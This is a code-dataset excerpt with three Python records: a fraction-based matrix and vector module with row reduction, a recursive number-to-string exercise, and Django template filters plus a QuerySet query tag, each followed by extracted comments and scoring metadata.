return Vector([Frac(self.dot(vector),vector.normsq())*c for c in vector])
def col(self):
'''return self as a column matrix'''
return Matrix([[a] for a in self])
def row(self):
'''return self as a row matrix'''
return Matrix([self])
def mul_list(matrices):
'''multiply each matrix in order'''
M = matrices[0].copy()
for E in matrices[1:]:
M = M*E
return M
def apply_ops(M, row_ops):
'''return a matrix where a list of RowOps or opst are applied to M in order'''
M = M.copy()
for op in row_ops:
M = M.row_op(op)
return M
if __name__ == "__main__":
#RREF
A = Matrix([[0,3,-1,2,-5], [3,6,9,-3,15], [3,9,8,-1,10]])
A.REF().print()
A.RREF().print()
print()
A = Matrix([[0,0,0,2,1,9],[0,-2,-6,2,0,2],[0,2,6,-2,2,0],[0,3,9,2,2,19]])
A.REF().print()
A.RREF().print()
## x = Vector([[0,2,0]])
## y = Vector([[0,0,3]])
## u = Vector(x-2*y)
## v = Vector(2*x+3*y)
## print(v.norm())
## print(u.norm())
## angle = v.angle(u)
## print(angle)
##
## optests = ["R2-3/2R3","R2sR3","R2*-3/4"]
## for op in optests:
## op = RowOp(op)
## print(op,op.invert())
| ## matrix ##
## June, 2021 ##
## By <NAME> ##
'''
This module contains Matrix, Vector, and RowOp classes.
Matrix objects store entries as fractions and implement matrix operations.
Matrix also does more like RREF function implements Gaussian elimination/row reduction to return
a matrix in reduced row echelon form.
Vector is a subclass of Matrix that implements vector operations.
RowOp is a class that breaks down a row operation string to make performing row operations
simpler. For example, if the user wants to add 3 * row 2 to row 1 of a 4x5 Matrix M,
they can simply pass "R1 + 3*R2" into M.rowop() and the string will be given meaning by the RowOp class.
'''
from fractions import Fraction as Frac
from math import *
# Some math functions for returning values in degrees
def dcos(x): return cos(radians(x))
def dtan(x): return tan(radians(x))
def dsin(x): return sin(radians(x))
def dacos(x): return degrees(acos(x))
def dasin(x): return degrees(asin(x))
def datan(x): return degrees(atan(x))
class Matrix(list):
'''2D matrix object
implements matrix operations and functions
Matrix can be initialized by passing a 2D array
or a string of form "a b c\nd e f" where a-c are entries of
first row and d-f are entries of second row
'''
def __init__(self,matrix):
super().__init__(matrix)
# make each row a Matrix
if self and type(self[0]) == list:
for i in range(len(self)):
self[i] = Matrix([Frac(a) for a in self[i]])
# initialize n,m if matrix is 2D
if self and isinstance(self[0],list):
self.m,self.n = self.mn()
def __repr__(self):
return str([[str(c) for c in row] for row in self]).replace("'",'')
def __add__(self, matrix):
'''Return self + matrix'''
if not self.is_same_size(matrix): raise ValueError("Matrices not of compatable size")
return Matrix([Matrix([self[i][j]+matrix[i][j] for j in range(len(self[0]))]) for i in range(len(self))])
def __radd__(self, matrix):
'''Return matrix + self'''
return matrix.__add__(self)
def __neg__(self):
'''Return self where each element is negated'''
return Matrix([Matrix([-x for x in row]) for row in self])
def __sub__(self, matrix):
'''Return self - matrix'''
return self + -matrix
def __rsub__(self,matrix):
'''Return matrix - self'''
return matrix - self
def __mul__(self,value):
'''return self*value (value can be matrix or constant)'''
m,r = self.mn()
if isinstance(value,(int,Frac)):
return Matrix([Matrix([x*value for x in row]) for row in self])
r2,n = value.mn()
if r != r2: raise ValueError("Matrices of incompatable sizes")
return Matrix([Matrix([sum([self[i][t]*value[t][j] for t in range(r)]) for j in range(n)]) for i in range(m)])
def __rmul__(self, value):
'''return value*self (value can be matrix or constant)'''
if isinstance(value,(int,Frac)):
return Matrix([Matrix([x*value for x in row]) for row in self])
return value.__mul__(self)
def __floordiv__(self, value):
'''Return self where each element x is x//value, value is int or Fraction'''
return Matrix([Matrix([x//value for x in row]) for row in self])
def __div__(self, value):
'''Return self where each element x is x/value, value is a constant'''
return Matrix([Matrix([x/value for x in row]) for row in self])
def __pow__(self, value):
'''Return self**value'''
# if value is less than 0, we have to invert first, but we'll worry about this later
if value > 0:
M = self.copy()
for i in range(value-1):
M = M*self
return M
def print(self):
'''display formatted matrix to console'''
# holds format specifier for each column of self
form = [max([len(str(self[i][j])) for i in range(self.m)]) for j in range(self.n)]
M = [[f"{str(self[i][j]):>{form[j]}s}" for j in range(self.n)] for i in range(self.m)]
print(str(M).replace('], [',']\n [').replace("'",''))#.replace(',',''))
def copy(self):
''' Return a 2 level copy of self'''
return Matrix([Matrix([x for x in row]) for row in self])
def is_same_size(self, matrix):
'''return if self has the same number of rows and columns as matrix'''
return self.mn() == matrix.mn()
def mn(self):
'''Return (row,columns) of self'''
return len(self),len(self[0])
def remove_col(self,c):
'''return self with column c removed'''
return Matrix([[self[r][i] for i in range(self.n) if i != c] for r in range(self.m)])
def remove_row(self,r):
'''return self with row r removed'''
return Matrix([self[i] for i in range(self.m) if i != r])
# Row operations
def swap(self,r1,r2):
'''r1 <-> r2'''
M = self.copy()
M[r1],M[r2] = M[r2],M[r1]
return M
def scale(self,r1,c):
'''r1 <- c*r1'''
M = self.copy()
M[r1] = c*M[r1]
return M
def pivot(self,r1,r2,c = 1):
'''r1 <- r1 + c*r2'''
m,n = self.mn()
M = self.copy()
M[r1] = M[r1]+c*M[r2]
return M
def row_op(self,opst):
'''return matrix with row operation object or string opst applied to self'''
opst = RowOp(str(opst))
if opst.op == 0: return self.swap(opst.r1,opst.r2)
if opst.op == 1: return self.scale(opst.r1,opst.c)
if opst.op == 2: return self.pivot(opst.r1,opst.r2,opst.c)
def T(self):
'''Return transpose of self'''
return Matrix([[self[j][i] for j in range(len(self))] for i in range(len(self[0]))])
def REF(self, get_row_ops = False):
'''Return self in a row echelon form, and the list of row operations that reduce it
if get_row_ops = True.'''
# Sort rows by least amount of leading zeros
def leading_zeros(row,n):
'''return the number of leading zeros in a list/Vector'''
return n if row==[] or row[0]!=0 else leading_zeros(row[1:],n+1)
def get_sort(M,start=0, ops = []):
'''return M (with rows sorted by number of leading zeros) and row ops'''
if start == M.m:
return (M, ops)
M = M.copy()
leads = [leading_zeros(row,0) for row in M]
r2 = leads.index(min(leads[start+1:]+[leads[start]]),start)
if r2 != start:
M[start],M[r2] = M[r2],M[start]
ops.append(RowOp(0,start,r2))
return get_sort(M, start+1, ops)
## return Matrix(M[:start] + sorted(M[start:],key = lambda row: leading_zeros(row,0))) # if row_ops not involved
M, row_ops = get_sort(self)
for r in range(M.m):
lead = leading_zeros(M[r],0) #where the current row's leading 1 will be
# if zero row, no ops necessary
if lead == M.n:
break
# Transform row so lead is 1
if M[r][lead] != 1:
row_ops.append(RowOp(1,r,Frac(1,M[r][lead])))
M = M.scale(r,Frac(1,M[r][lead]))
# Remove entries below
for r2 in range(r+1,M.m):
if M[r2][lead] == 0:
break
lead2 = leading_zeros(M[r2],0)
row_ops.append(RowOp(2,r2,r,-M[r2][lead2]))
M = M.pivot(r2,r,-M[r2][lead2])
# Sort the below by leading zeros again
M,row_ops = get_sort(M,r+1, row_ops)
return M if not get_row_ops else (M, row_ops)
def RREF(self, get_row_ops = False):
'''return self in reduced row echelon form, and the list of row operations that reduce it
if get_row_ops = True'''
def leading_zeros(row,n):
return n if row==[] or row[0]!=0 else leading_zeros(row[1:],n+1)
# put it in REF
M, row_ops = self.REF(True)
leads = [leading_zeros(row,0) for row in M]
for r in range(M.m):
for c in range(leads[r]+1,M.n):
if c in leads:
r2 = leads.index(c)
row_ops.append(RowOp(2,r,r2, Frac(-M[r][c],M[r2][c])))
M = M.pivot(r,r2, Frac(-M[r][c],M[r2][c]))
return M if not get_row_ops else (M, row_ops)
def tr(self):
'''return trace of self'''
return sum([self[i][i] for i in range(n)])
def det(self):
'''Return determinant of self if self is square'''
m,n = self.mn()
if n!=m:
raise ValueError("This Matrix is not sqaure")
if n == 1:
return self[0][0]
if n == 2:
return self[0][0]*self[1][1] - self[0][1]*self[1][0]
# row expansion
return sum([self[0][j]*self.C(0,j) for j in range(n)])
def M(self,i,j):
'''return the Minor of self at i,j(i.e. det of the matrix of self with row i and col j removed)'''
return Matrix([[self[ii][jj] for jj in range(self.n) if jj != j] for ii in range(self.m) if ii!=i]).det()
def C(self,i,j):
'''return the cofactor of self at i,j'''
return (-1)**(i+j)*self.M(i,j)
def adj(self):
'''return the adjoint matrix of self'''
return Matrix([[self.C(j,i) for j in range(self.n)] for i in range(self.m)])
def inverse(self):
'''return the inverse matrix of self if it exists'''
return Frac(1,self.det()) * self.adj()
def TA(self, x):
'''return Matrix transformation of self*x where x is a Vector'''
return self*x.col()
def I(n):
'''Return an n x n identity matrix'''
return Matrix([[(1 if i==j else 0) for j in range(n) ] for i in range(n)])
def Elementary(n, op, *args):
''' Return elementary matrix where a row operation
is performed on the identity matrix of size n.
row is row number (from 1) for op to be performed on.
op is op number 0-2 or 's','m','p'
args following op contains either:
0/'s' (r1,r2) : r1 <-> r2
1/'m' (r1,c) : r1 <- r1*c
2/'p' (r1,r2,c) : r1 <- r1 + c*r2'''
if str(op) in 'smp': op = 'smp'.find(op)
if op == 0:
self = I(n).swap(*args[:2]) # b is constant not row in this case
if op == 1:
self = I(n).scale(*args[:2])
if op == 2:
self = I(n).pivot(*args)
return self
def ElementaryOpst(n, opst):
'''Return elementary matrix where a row operation
is performed on the identity matrix of size n.
opst is row op string. ex "R2*-3", "R2sR3", "R2 - 3/2R3". no spaces necessary'''
opst = RowOp(str(opst))
return Elementary2(n,opst.op,*opst.tuple())
class RowOp:
'''Holds details about an elementary row operation to be performed on a matrix.
These are descriptions corresponding to op numbers:
0 - Swap: two row numbers to indicate these rows to be interchanged (r1,r2) r1 <-> r2
1 - Scale: a target row, then a constant to multiply that row by (r1,c) r1 <- r1*c
2 - Pivot: a row number, a another row number, then a constant to
add constant * second row to first (r1,r2,c) r1 <- r1 + c*r2'''
def __init__(self, *args):
'''args can be opst which is row op string.
Examples:
"R2*-3" -> multiply each entry in row to by constant -3
"R2sR3" -> switch rows 2 and 3
"R2 - 3/2R3" -> add -3/2 of each entry in row 3 to row 2
spaces in format are optional
args can be op number (0-2), then r1,c or r1,r2 or r1,r2,c based on the number'''
if len(args) == 1:
if type(args[0]) == str:
self.init_opst(args[0])
elif type(args[0]) == RowOp:
self.init_opst(args[0].opst)
else:
args += (0,)
self.op = op = args[0]
self.r1 = args[1]
self.r2,self.c = [(args[2],1), (None,args[2]), (args[2],args[3])][op]
# assign self.opst
self.reconstruct()
def init_opst(self,opst):
self.opst = opst
self.op = op = ['s' in opst, '*' in opst, True].index(True)
opst = opst.replace(' ','')
r1,r2,c = None,None,0
if op == 0:
r1,r2 = map(int,opst.replace('R','').split('s'))
if op == 1:
r1,c = opst[1:].split('*')
r1 = int(r1)
if '/' in c:
a,b = map(int,c.split("/"))
c = Frac(a,b)
else:
c = int(c)
if op == 2:
pm = '+-'[int('-' in opst)]
r1 = int(opst[1:opst.find(pm)])
r2 = int(opst[opst.rfind("R")+1:])
c = opst[opst.find(pm):opst.rfind("R")]
if '/' in c:
a,b = map(int,c.split("/"))
c = Frac(a,b)
else:
c = int(c+('1' if len(c)==1 else ''))
self.r1 = r1 - 1
self.r2 = (None if not r2 else r2 - 1)
self.c = c
self.reconstruct()
def __repr__(self):
return self.opst
def reconstruct(self):
'''sets self.opst based on op,r1,r2,c values'''
pm = "+-"[int(self.c < 0)]
r1,r2 = self.r1+1, (None if self.r2 == None else self.r2+1)
self.opst = [f"R{r1}sR{r2}", f"R{r1} * {self.c}", f"R{r1} {pm} {abs(self.c)}R{r2}"][self.op]
def tuple(self):
'''return op as tuple of form (r1,c,None), (r1,r2,None), or (r1,r2,c) based on self.op'''
return [(self.r1,self.r2,None), (self.r1,self.c,None), (self.r1,self.r2,self.c)][self.op]
def invert(self):
'''Return the inverse row operation string of self'''
opst = RowOp(self.opst)
if opst.op == 1: opst.c = Frac(1,opst.c)
if opst.op == 2: opst.c = -opst.c
opst.reconstruct()
return opst
class Vector(list):
def __init__(self, vector):
# cast Vector to str
if type(vector) == str:
vector = list(map(Frac,vector.split()))
# convert matrix of 1 col to vector
if isinstance(vector[0], list):
if len(vector[0]) == 1: vector = [row[0] for row in vector]
else: vector = vector[0] # would be a matrix with one row
super().__init__(vector)
def __repr__(self):
return str([str(c) for c in self]).replace("'",'')
def __neg__(self):
'''return -self'''
return -1*self
def __mul__(self, value):
'''return self*value. value is a constant'''
return Vector([a*value for a in self])
def __rmul__(self, value):
'''return value*self. value is a constant'''
return Vector([a*value for a in self])
def __add__(self, vector):
'''return self+vector'''
return Vector([self[i]+vector[i] for i in range(len(self))])
def __sub__(self, vector):
'''return self - vector'''
return self + -1*vector
## def __setitem__(self, key, value):
## '''set self[key] to value'''
## self[key] = Frac(value)
def norm(self):
'''return the norm (length) of self'''
return sqrt(self.normsq())
def normsq(self):
'''return the norm^2 of self'''
return sum([v**2 for v in self])
def unit(self):
'''return unit vector of self'''
return (1/self.norm())*self
def dot(self,vector):
'''return dot product of self and vector'''
return sum([self[i]*vector[i] for i in range(len(self))])
def angle(self,vector):
'''return angle between two vectors in radians'''
return acos( self.dot(vector) / (self.norm()*vector.norm()) )
def dangle(self,vector):
'''return angle between self and vector in degrees'''
return degrees(self.angle(vector))
def cross(self,vector):
'''return self x vector'''
M = Matrix([self,vector])
return Vector([M.remove_col(0).det(),-M.remove_col(1).det(),M.remove_col(2).det()])
def lagrange(self,vector):
'''return length of self cross vector using lagrange identity'''
return sqrt( self.norm()**2 * vector.norm()**2 - self.dot(vector)**2 )
def proj_len(self, vector):
''''return the length of the projection of self onto vector; proj vector self'''
return (self.dot(vector)/vector.norm())#Frac(self.dot(a),a.norm())
def proj(self,vector):
'''return projection of self onto vector; proj vector self'''
return Vector([Frac(self.dot(vector),vector.normsq())*c for c in vector])
def col(self):
'''return self as a column matrix'''
return Matrix([[a] for a in self])
def row(self):
'''return self as a row matrix'''
return Matrix([self])
def mul_list(matrices):
'''multiply each matrix in order'''
M = matrices[0].copy()
for E in matrices[1:]:
M = M*E
return M
def apply_ops(M, row_ops):
'''return a matrix where a list of RowOps or opst are applied to M in order'''
M = M.copy()
for op in row_ops:
M = M.row_op(op)
return M
if __name__ == "__main__":
#RREF
A = Matrix([[0,3,-1,2,-5], [3,6,9,-3,15], [3,9,8,-1,10]])
A.REF().print()
A.RREF().print()
print()
A = Matrix([[0,0,0,2,1,9],[0,-2,-6,2,0,2],[0,2,6,-2,2,0],[0,3,9,2,2,19]])
A.REF().print()
A.RREF().print()
## x = Vector([[0,2,0]])
## y = Vector([[0,0,3]])
## u = Vector(x-2*y)
## v = Vector(2*x+3*y)
## print(v.norm())
## print(u.norm())
## angle = v.angle(u)
## print(angle)
##
## optests = ["R2-3/2R3","R2sR3","R2*-3/4"]
## for op in optests:
## op = RowOp(op)
## print(op,op.invert()) | en | 0.757431 | ## matrix ## ## June, 2021 ## ## By <NAME> ## This module contains Matrix, Vector, and RowOp classes. Matrix objects store entries as fractions and implement matrix operations. Matrix also does more like RREF function implements Gaussian elimination/row reduction to return a matrix in reduced row echelon form. Vector is a subclass of Matrix that implements vector operations. RowOp is a class that breaks down a row operation string to make performing row operations simpler. For example, if the user wants to add 3 * row 2 to row 1 of a 4x5 Matrix M, they can simply pass "R1 + 3*R2" into M.rowop() and the string will be given meaning by the RowOp class. # Some math functions for returning values in degrees 2D matrix object implements matrix operations and functions Matrix can be initialized by passing a 2D array or a string of form "a b c\nd e f" where a-c are entries of first row and d-f are entries of second row # make each row a Matrix # initialize n,m if matrix is 2D Return self + matrix Return matrix + self Return self where each element is negated Return self - matrix Return matrix - self return self*value (value can be matrix or constant) return value*self (value can be matrix or constant) Return self where each element x is x//value, value is int or Fraction Return self where each element x is x/value, value is a constant Return self**value # if value is less than 0, we have to invert first, but we'll worry about this later display formatted matrix to console # holds format specifier for each column of self #.replace(',','')) Return a 2 level copy of self return if self has the same number of rows and columns as matrix Return (row,columns) of self return self with column c removed return self with row r removed # Row operations r1 <-> r2 r1 <- c*r1 r1 <- r1 + c*r2 return matrix with row operation object or string opst applied to self Return transpose of self Return self in a row echelon form, and the list of row operations that reduce it if get_row_ops = True. # Sort rows by least amount of leading zeros return the number of leading zeros in a list/Vector return M (with rows sorted by number of leading zeros) and row ops ## return Matrix(M[:start] + sorted(M[start:],key = lambda row: leading_zeros(row,0))) # if row_ops not involved #where the current row's leading 1 will be # if zero row, no ops necessary # Transform row so lead is 1 # Remove entries below # Sort the below by leading zeros again return self in reduced row echelon form, and the list of row operations that reduce it if get_row_ops = True # put it in REF return trace of self Return determinant of self if self is square # row expansion return the Minor of self at i,j(i.e. det of the matrix of self with row i and col j removed) return the cofactor of self at i,j return the adjoint matrix of self return the inverse matrix of self if it exists return Matrix transformation of self*x where x is a Vector Return an n x n identity matrix Return elementary matrix where a row operation is performed on the identity matrix of size n. row is row number (from 1) for op to be performed on. op is op number 0-2 or 's','m','p' args following op contains either: 0/'s' (r1,r2) : r1 <-> r2 1/'m' (r1,c) : r1 <- r1*c 2/'p' (r1,r2,c) : r1 <- r1 + c*r2 # b is constant not row in this case Return elementary matrix where a row operation is performed on the identity matrix of size n. opst is row op string. ex "R2*-3", "R2sR3", "R2 - 3/2R3". no spaces necessary Holds details about an elementary row operation to be performed on a matrix. These are descriptions corresponding to op numbers: 0 - Swap: two row numbers to indicate these rows to be interchanged (r1,r2) r1 <-> r2 1 - Scale: a target row, then a constant to multiply that row by (r1,c) r1 <- r1*c 2 - Pivot: a row number, a another row number, then a constant to add constant * second row to first (r1,r2,c) r1 <- r1 + c*r2 args can be opst which is row op string. Examples: "R2*-3" -> multiply each entry in row to by constant -3 "R2sR3" -> switch rows 2 and 3 "R2 - 3/2R3" -> add -3/2 of each entry in row 3 to row 2 spaces in format are optional args can be op number (0-2), then r1,c or r1,r2 or r1,r2,c based on the number # assign self.opst sets self.opst based on op,r1,r2,c values return op as tuple of form (r1,c,None), (r1,r2,None), or (r1,r2,c) based on self.op Return the inverse row operation string of self # cast Vector to str # convert matrix of 1 col to vector # would be a matrix with one row return -self return self*value. value is a constant return value*self. value is a constant return self+vector return self - vector ## def __setitem__(self, key, value): ## '''set self[key] to value''' ## self[key] = Frac(value) return the norm (length) of self return the norm^2 of self return unit vector of self return dot product of self and vector return angle between two vectors in radians return angle between self and vector in degrees return self x vector return length of self cross vector using lagrange identity 'return the length of the projection of self onto vector; proj vector self #Frac(self.dot(a),a.norm()) return projection of self onto vector; proj vector self return self as a column matrix return self as a row matrix multiply each matrix in order return a matrix where a list of RowOps or opst are applied to M in order #RREF ## x = Vector([[0,2,0]]) ## y = Vector([[0,0,3]]) ## u = Vector(x-2*y) ## v = Vector(2*x+3*y) ## print(v.norm()) ## print(u.norm()) ## angle = v.angle(u) ## print(angle) ## ## optests = ["R2-3/2R3","R2sR3","R2*-3/4"] ## for op in optests: ## op = RowOp(op) ## print(op,op.invert()) | 3.966724 | 4 |
07_RSI/ch03/tostr.py | zzz0072/Python_Exercises | 0 | 6623649 | <gh_stars>0
#!/usr/bin/env python3
def toStr(num, base):
digitStr = "0123456789ABCDEF"
if num < base:
return digitStr[num]
else:
return toStr(num // base, base) + digitStr[num % base]
if __name__ == "__main__":
print(toStr(1200, 10))
print(toStr(255, 16))
| #!/usr/bin/env python3
def toStr(num, base):
digitStr = "0123456789ABCDEF"
if num < base:
return digitStr[num]
else:
return toStr(num // base, base) + digitStr[num % base]
if __name__ == "__main__":
print(toStr(1200, 10))
print(toStr(255, 16)) | fr | 0.221828 | #!/usr/bin/env python3 | 3.819789 | 4 |
common/templatetags/tools.py | riderflo85/common-framework | 0 | 6623650 | # coding: utf-8
from django.http import QueryDict
from django.template import Library
from django.utils.formats import localize
register = Library()
@register.filter(name='meta')
def filter_meta(instance, key):
"""
Récupération d'une métadonnée sur une instance
:param key: Clé
:return: Valeur
"""
if hasattr(instance, 'get_metadata'):
return instance.get_metadata(key)
return None
@register.filter(name='parsedate')
def filter_parsedate(value, options=''):
"""
Parse une date ou un datetime dans n'importe quel format
:param value: Date ou datetime au format texte
:param options: Options de parsing (au format query string)
:return: Date ou datetime
"""
from common.utils import parsedate
options = QueryDict(options)
return parsedate(value, **options)
@register.filter(name='get')
def filter_get(value, key):
"""
Permet de récupérer une valeur depuis un objet quelconque
:param value: Objet
:param key: Clé ou index
:return: Valeur
"""
try:
if isinstance(value, dict):
return value.get(key) or value.get(int(key))
elif isinstance(value, (list, tuple)):
return value[int(key)]
else:
return getattr(value, key, None)
except ValueError:
return None
@register.filter(name='localize')
def filter_localize(value, use_l10n=None):
"""
Localise une valeur brute
:param value: Valeur
:param use_l10n: Force ou non la localisation
:return: Valeur localisée (si possible)
"""
return localize(value, use_l10n=use_l10n) or value
@register.simple_tag(name='query', takes_context=True)
def tag_query(context, queryset, save='', **kwargs):
"""
Permet de faire des opérations complémentaires sur un QuerySet
:param context: Contexte local
:param queryset: QuerySet
:param save: Nom du contexte qui contiendra le nouveau QuerySet
:param kwargs: Options de filtre/tri/etc...
:return: Rien
"""
from common.api.utils import url_value, AGGREGATES
from django.db.models import F, QuerySet
if not isinstance(queryset, QuerySet):
return queryset
# Fonction de récupération des données depuis les paramètres
def get(name):
return kwargs.get(name, '').replace('.', '__').replace(' ', '')
reserved_keywords = (
'filters', 'fields', 'order_by', 'group_by', 'distinct',
'select_related', 'prefetch_related', 'limit',
) + tuple(AGGREGATES.keys())
# Filtres (dans une fonction pour être appelé par les aggregations sans group_by)
def do_filter(queryset):
filters = {}
excludes = {}
for key, value in kwargs.items():
if key in reserved_keywords:
continue
key = key.replace('.', '__')
if isinstance(value, str) and value.startswith('(') and value.endswith(')'):
value = F(value[1:-1])
if key.startswith('_'):
key = key[1:]
excludes[key] = url_value(key, value)
else:
key = key.strip()
filters[key] = url_value(key, value)
if filters:
queryset = queryset.filter(**filters)
if excludes:
queryset = queryset.exclude(**excludes)
# Filtres génériques
others = kwargs.get('filters', None)
if others:
from common.api.utils import parse_filters
queryset = queryset.filter(parse_filters(others))
return queryset
# Jointures
select_related = get('select_related')
if select_related:
queryset = queryset.select_related(*select_related.split(','))
prefetch_related = get('prefetch_related')
if prefetch_related:
queryset = queryset.prefetch_related(*prefetch_related.split(','))
# Aggregations
aggregations = {}
for aggregate, function in AGGREGATES.items():
for field in kwargs.get(aggregate, '').split(','):
if not field:
continue
distinct = field.startswith(' ')
field = field.strip().replace('.', '__')
aggregations[field + '_' + aggregate] = function(field, distinct=distinct)
group_by = get('group_by')
if group_by:
_queryset = queryset.values(*group_by.split(','))
if aggregations:
_queryset = _queryset.annotate(**aggregations)
else:
_queryset = _queryset.distinct()
queryset = _queryset
elif aggregations:
queryset = do_filter(queryset) # Filtres éventuels
return queryset.aggregate(**aggregations)
# Filtres
queryset = do_filter(queryset)
# Extraction de champs spécifiques
fields = get('fields')
if fields:
# Supprime la récupération des relations
queryset = queryset.select_related(None).prefetch_related(None)
# Champs spécifiques
relateds = set()
field_names = set()
for field in fields.split(','):
if not field:
continue
field_names.add(field)
*related, field_name = field.split('__')
if related:
relateds.add('__'.join(related))
if relateds:
queryset = queryset.select_related(*relateds)
if field_names:
queryset = queryset.values_list(*field_names, named=True)
# Tris
order_by = get('order_by')
if order_by:
_queryset = queryset.order_by(*order_by.split(','))
str(_queryset.query) # Force SQL evaluation to retrieve exception
queryset = _queryset
# Distinct
distinct = get('distinct')
if distinct:
if distinct is True:
distincts = ()
else:
distincts = distinct.split(',')
queryset = queryset.distinct(*distincts)
# Limite
limit = get('limit')
if limit:
limit = [int(l) for l in limit.split(',')]
limit_inf, limit_sup = (0, limit[0]) if len(limit) == 1 else limit[:2]
queryset = queryset[limit_inf:limit_sup]
context[save] = queryset
return ''
| # coding: utf-8
from django.http import QueryDict
from django.template import Library
from django.utils.formats import localize
register = Library()
@register.filter(name='meta')
def filter_meta(instance, key):
"""
Récupération d'une métadonnée sur une instance
:param key: Clé
:return: Valeur
"""
if hasattr(instance, 'get_metadata'):
return instance.get_metadata(key)
return None
@register.filter(name='parsedate')
def filter_parsedate(value, options=''):
"""
Parse une date ou un datetime dans n'importe quel format
:param value: Date ou datetime au format texte
:param options: Options de parsing (au format query string)
:return: Date ou datetime
"""
from common.utils import parsedate
options = QueryDict(options)
return parsedate(value, **options)
@register.filter(name='get')
def filter_get(value, key):
"""
Permet de récupérer une valeur depuis un objet quelconque
:param value: Objet
:param key: Clé ou index
:return: Valeur
"""
try:
if isinstance(value, dict):
return value.get(key) or value.get(int(key))
elif isinstance(value, (list, tuple)):
return value[int(key)]
else:
return getattr(value, key, None)
except ValueError:
return None
@register.filter(name='localize')
def filter_localize(value, use_l10n=None):
"""
Localise une valeur brute
:param value: Valeur
:param use_l10n: Force ou non la localisation
:return: Valeur localisée (si possible)
"""
return localize(value, use_l10n=use_l10n) or value
@register.simple_tag(name='query', takes_context=True)
def tag_query(context, queryset, save='', **kwargs):
"""
Permet de faire des opérations complémentaires sur un QuerySet
:param context: Contexte local
:param queryset: QuerySet
:param save: Nom du contexte qui contiendra le nouveau QuerySet
:param kwargs: Options de filtre/tri/etc...
:return: Rien
"""
from common.api.utils import url_value, AGGREGATES
from django.db.models import F, QuerySet
if not isinstance(queryset, QuerySet):
return queryset
# Fonction de récupération des données depuis les paramètres
def get(name):
return kwargs.get(name, '').replace('.', '__').replace(' ', '')
reserved_keywords = (
'filters', 'fields', 'order_by', 'group_by', 'distinct',
'select_related', 'prefetch_related', 'limit',
) + tuple(AGGREGATES.keys())
# Filtres (dans une fonction pour être appelé par les aggregations sans group_by)
def do_filter(queryset):
filters = {}
excludes = {}
for key, value in kwargs.items():
if key in reserved_keywords:
continue
key = key.replace('.', '__')
if isinstance(value, str) and value.startswith('(') and value.endswith(')'):
value = F(value[1:-1])
if key.startswith('_'):
key = key[1:]
excludes[key] = url_value(key, value)
else:
key = key.strip()
filters[key] = url_value(key, value)
if filters:
queryset = queryset.filter(**filters)
if excludes:
queryset = queryset.exclude(**excludes)
# Filtres génériques
others = kwargs.get('filters', None)
if others:
from common.api.utils import parse_filters
queryset = queryset.filter(parse_filters(others))
return queryset
# Jointures
select_related = get('select_related')
if select_related:
queryset = queryset.select_related(*select_related.split(','))
prefetch_related = get('prefetch_related')
if prefetch_related:
queryset = queryset.prefetch_related(*prefetch_related.split(','))
# Aggregations
aggregations = {}
for aggregate, function in AGGREGATES.items():
for field in kwargs.get(aggregate, '').split(','):
if not field:
continue
distinct = field.startswith(' ')
field = field.strip().replace('.', '__')
aggregations[field + '_' + aggregate] = function(field, distinct=distinct)
group_by = get('group_by')
if group_by:
_queryset = queryset.values(*group_by.split(','))
if aggregations:
_queryset = _queryset.annotate(**aggregations)
else:
_queryset = _queryset.distinct()
queryset = _queryset
elif aggregations:
queryset = do_filter(queryset) # Filtres éventuels
return queryset.aggregate(**aggregations)
# Filtres
queryset = do_filter(queryset)
# Extraction de champs spécifiques
fields = get('fields')
if fields:
# Supprime la récupération des relations
queryset = queryset.select_related(None).prefetch_related(None)
# Champs spécifiques
relateds = set()
field_names = set()
for field in fields.split(','):
if not field:
continue
field_names.add(field)
*related, field_name = field.split('__')
if related:
relateds.add('__'.join(related))
if relateds:
queryset = queryset.select_related(*relateds)
if field_names:
queryset = queryset.values_list(*field_names, named=True)
# Tris
order_by = get('order_by')
if order_by:
_queryset = queryset.order_by(*order_by.split(','))
str(_queryset.query) # Force SQL evaluation to retrieve exception
queryset = _queryset
# Distinct
distinct = get('distinct')
if distinct:
if distinct is True:
distincts = ()
else:
distincts = distinct.split(',')
queryset = queryset.distinct(*distincts)
# Limite
limit = get('limit')
if limit:
limit = [int(l) for l in limit.split(',')]
limit_inf, limit_sup = (0, limit[0]) if len(limit) == 1 else limit[:2]
queryset = queryset[limit_inf:limit_sup]
context[save] = queryset
return ''
| fr | 0.926917 | # coding: utf-8 Récupération d'une métadonnée sur une instance :param key: Clé :return: Valeur Parse une date ou un datetime dans n'importe quel format :param value: Date ou datetime au format texte :param options: Options de parsing (au format query string) :return: Date ou datetime Permet de récupérer une valeur depuis un objet quelconque :param value: Objet :param key: Clé ou index :return: Valeur Localise une valeur brute :param value: Valeur :param use_l10n: Force ou non la localisation :return: Valeur localisée (si possible) Permet de faire des opérations complémentaires sur un QuerySet :param context: Contexte local :param queryset: QuerySet :param save: Nom du contexte qui contiendra le nouveau QuerySet :param kwargs: Options de filtre/tri/etc... :return: Rien # Fonction de récupération des données depuis les paramètres # Filtres (dans une fonction pour être appelé par les aggregations sans group_by) # Filtres génériques # Jointures # Aggregations # Filtres éventuels # Filtres # Extraction de champs spécifiques # Supprime la récupération des relations # Champs spécifiques # Tris # Force SQL evaluation to retrieve exception # Distinct # Limite | 2.031891 | 2 |